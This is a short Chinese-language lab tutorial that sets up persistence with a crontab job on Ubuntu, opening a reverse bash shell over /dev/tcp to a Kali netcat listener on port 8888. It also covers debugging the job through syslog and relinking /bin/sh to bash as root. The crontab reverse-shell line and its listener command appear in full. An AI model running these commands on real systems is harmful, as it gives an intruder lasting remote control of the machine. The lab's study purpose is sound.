一、實驗環境
Ubuntu:IP地址:192.168.223.156?
Kali :? ? ? ?IP地址:192.168.223.152
二、編寫crontab計劃任務
在Ubuntu的系統中使用crontab -e命令編寫計劃任務,如下所示:
作用:是將一個交互式的bash shell的輸出和錯誤發送到kali的8888端口,并將輸入也從該端口讀取。
三、在kali中監聽8888端口
nc -lp 8888
-l:代表開啟監聽
-p:代表指定端口號
結果發現,等了兩三分鐘,一點反應都沒有,沒收到返回的shell;
因此不得不在Ubuntu中查看它的日志,使用
tail -f /var/log/syslog查看
如圖所示,出現了No MTA installed ,discarding output
該信息提示沒有安裝郵件服務MTA(因特網郵件傳送代理;Mail Transfer Agent),因為cron的錯誤信息是通過郵件發送的,所以這應該不是報的錯誤,為了能夠查看到到錯誤,可以采取以下措施:
使用crontab -e再次修改計劃任務,使得錯誤信息能夠輸入到一個文件中,方便我們查看
* * * * * bash -i '>& /dev/tcp/192.168.0.127/8888 0>&1'>/tmp/error.txt 2>&1
可以看到,不存在/bin/bash這個文件,或者說是沒被找到,也就是說linux中cron的命令執行的shell環境是/bin/sh。查看后發現,sh是指向dash的軟連接,由于dash的shell是沒有交互能力的,所以要將sh的軟鏈接修改為bash,注意要在root權限下進行修改!!!
ln - s -f bash /bin/sh
再次修改crontab計劃
四、在kali上監聽8888端口
?
可見遠程成功,成功反彈shell!?
總結:1.在編寫crontab計劃任務的時候要在root權限下進行編寫
? ? ? ? ? ?2.要將sh的軟連接文件指向有交互性的bash上